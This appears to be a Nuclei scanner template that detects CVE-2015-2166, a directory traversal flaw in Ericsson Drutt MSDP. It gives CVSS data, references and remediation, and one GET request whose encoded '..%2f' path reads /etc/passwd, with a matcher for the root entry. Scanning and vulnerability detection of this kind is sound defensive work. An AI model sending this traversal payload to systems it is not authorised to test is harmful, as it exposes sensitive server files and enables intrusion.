id: CVE-2015-2166

info:
  name: Ericsson Drutt MSDP - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Ericsson Drutt Mobile Service Delivery Platform (MSDP) 4, 5, and 6 allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the default URI in the Instance Monitor.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the Ericsson Drutt MSDP application.
  reference:
    - https://www.exploit-db.com/exploits/36619
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2166
    - http://packetstormsecurity.com/files/131233/Ericsson-Drutt-MSDP-Instance-Monitor-Directory-Traversal-File-Access.html
    - https://www.exploit-db.com/exploits/36619/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-2166
    cwe-id: CWE-22
    epss-score: 0.26229
    epss-percentile: 0.97734
    cpe: cpe:2.3:a:ericsson:drutt_mobile_service_delivery_platform:4.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ericsson
    product: drutt_mobile_service_delivery_platform
  tags: cve2015,cve,lfi,ericsson,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f0526ec6c62519e95e866b3bc486ce9a1b11d9099956ee455ae75ebf2615939c022034f3443ae75a82dda98229344f19d9753f7b5b296911e74c4edbe998d9bd5d54:922c64590222798bb761d5b6d8e72950